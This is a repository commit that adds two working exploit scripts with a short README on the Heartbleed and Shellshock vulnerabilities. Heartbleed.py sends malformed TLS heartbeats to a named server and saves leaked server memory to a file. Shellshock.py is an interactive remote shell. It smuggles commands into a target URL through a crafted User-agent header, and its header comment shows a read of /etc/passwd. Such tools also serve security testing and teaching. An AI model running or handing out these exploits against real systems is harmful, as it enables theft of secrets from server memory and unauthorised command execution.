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CVE Heartbleed and Shellshcok added
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CVE Shellshock Heartbleed/Heartbleed.py
Executable file
213
CVE Shellshock Heartbleed/Heartbleed.py
Executable file
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#!/usr/bin/python
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# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
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# The author disclaims copyright to this source code.
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# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
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import sys
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import struct
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import socket
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import time
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import select
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import re
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from optparse import OptionParser
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import smtplib
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options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
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options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
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options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
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options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
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options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
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options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
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def h2bin(x):
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return x.replace(' ', '').replace('\n', '').decode('hex')
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hello = h2bin('''
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16 03 02 00 dc 01 00 00 d8 03 02 53
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43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
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bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
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00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
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00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
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c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
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c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
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c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
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c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
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00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
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03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
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00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
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00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
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00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
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00 0f 00 01 01
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''')
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hbv10 = h2bin('''
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18 03 01 00 03
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01 40 00
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''')
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hbv11 = h2bin('''
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18 03 02 00 03
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01 40 00
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''')
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hbv12 = h2bin('''
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18 03 03 00 03
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01 40 00
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''')
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def hexdump(s, dumpf, quiet):
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dump = open(dumpf,'a')
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dump.write(s)
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dump.close()
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if quiet: return
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for b in xrange(0, len(s), 16):
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lin = [c for c in s[b : b + 16]]
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hxdat = ' '.join('%02X' % ord(c) for c in lin)
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pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
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print ' %04x: %-48s %s' % (b, hxdat, pdat)
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print
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def recvall(s, length, timeout=5):
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endtime = time.time() + timeout
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rdata = ''
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remain = length
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while remain > 0:
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rtime = endtime - time.time()
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if rtime < 0:
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if not rdata:
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return None
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else:
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return rdata
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r, w, e = select.select([s], [], [], 5)
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if s in r:
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data = s.recv(remain)
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# EOF?
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if not data:
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return None
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rdata += data
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remain -= len(data)
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return rdata
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def recvmsg(s):
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hdr = recvall(s, 5)
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if hdr is None:
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print 'Unexpected EOF receiving record header - server closed connection'
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return None, None, None
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typ, ver, ln = struct.unpack('>BHH', hdr)
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pay = recvall(s, ln, 10)
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if pay is None:
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print 'Unexpected EOF receiving record payload - server closed connection'
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return None, None, None
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print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
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return typ, ver, pay
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def hit_hb(s, dumpf, host, quiet):
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while True:
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typ, ver, pay = recvmsg(s)
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if typ is None:
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print 'No heartbeat response received from '+host+', server likely not vulnerable'
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return False
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if typ == 24:
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if not quiet: print 'Received heartbeat response:'
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hexdump(pay, dumpf, quiet)
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if len(pay) > 3:
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print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
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else:
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print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
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return True
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if typ == 21:
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if not quiet: print 'Received alert:'
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hexdump(pay, dumpf, quiet)
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print 'Server '+ host +' returned error, likely not vulnerable'
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return False
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def connect(host, port, quiet):
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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if not quiet: print 'Connecting...'
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sys.stdout.flush()
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s.connect((host, port))
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return s
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def tls(s, quiet):
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if not quiet: print 'Sending Client Hello...'
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sys.stdout.flush()
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s.send(hello)
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if not quiet: print 'Waiting for Server Hello...'
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sys.stdout.flush()
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def parseresp(s):
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while True:
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typ, ver, pay = recvmsg(s)
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if typ == None:
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print 'Server closed connection without sending Server Hello.'
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return 0
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# Look for server hello done message.
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if typ == 22 and ord(pay[0]) == 0x0E:
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return ver
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def check(host, port, dumpf, quiet, starttls):
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response = False
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if starttls:
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try:
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s = smtplib.SMTP(host=host,port=port)
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s.ehlo()
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s.starttls()
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except smtplib.SMTPException:
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print 'STARTTLS not supported...'
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s.quit()
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return False
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print 'STARTTLS supported...'
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s.quit()
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s = connect(host, port, quiet)
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s.settimeout(1)
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try:
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re = s.recv(1024)
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s.send('ehlo starttlstest\r\n')
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re = s.recv(1024)
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s.send('starttls\r\n')
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re = s.recv(1024)
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except socket.timeout:
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print 'Timeout issues, going ahead anyway, but it is probably broken ...'
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tls(s,quiet)
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else:
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s = connect(host, port, quiet)
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tls(s,quiet)
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version = parseresp(s)
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if version == 0:
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if not quiet: print "Got an error while parsing the response, bailing ..."
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return False
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else:
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version = version - 0x0300
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if not quiet: print "Server TLS version was 1.%d\n" % version
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if not quiet: print 'Sending heartbeat request...'
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sys.stdout.flush()
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if (version == 1):
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s.send(hbv10)
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response = hit_hb(s,dumpf, host, quiet)
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if (version == 2):
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s.send(hbv11)
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response = hit_hb(s,dumpf, host, quiet)
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if (version == 3):
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s.send(hbv12)
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response = hit_hb(s,dumpf, host, quiet)
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s.close()
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return response
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def main():
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opts, args = options.parse_args()
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if len(args) < 1:
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options.print_help()
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return
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print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
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for i in xrange(0,opts.num):
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check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
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if __name__ == '__main__':
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main()
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13
CVE Shellshock Heartbleed/README.md
Normal file
13
CVE Shellshock Heartbleed/README.md
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# Common Vulnerabilities and Exposures
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Big CVEs in the last 5 years.
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## Heartbleed
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The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
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## Shellshock
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Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
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## Thanks to
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* http://heartbleed.com
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* https://en.wikipedia.org/wiki/Shellshock_(software_bug)
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32
CVE Shellshock Heartbleed/Shellshock.py
Executable file
32
CVE Shellshock Heartbleed/Shellshock.py
Executable file
@ -0,0 +1,32 @@
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#!/usr/bin/python
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# Successful Output:
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# # python shell_shocker.py <VulnURL>
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# [+] Attempting Shell_Shock - Make sure to type full path
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# ~$ /bin/ls /
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# bin
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# boot
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# dev
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# etc
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# ..
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# ~$ /bin/cat /etc/passwd
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import sys, urllib2
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if len(sys.argv) != 2:
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print "Usage: shell_shocker <URL>"
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sys.exit(0)
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URL=sys.argv[1]
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print "[+] Attempting Shell_Shock - Make sure to type full path"
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while True:
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command=raw_input("~$ ")
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opener=urllib2.build_opener()
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opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
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try:
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response=opener.open(URL)
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for line in response.readlines():
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print line.strip()
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except Exception as e: print e
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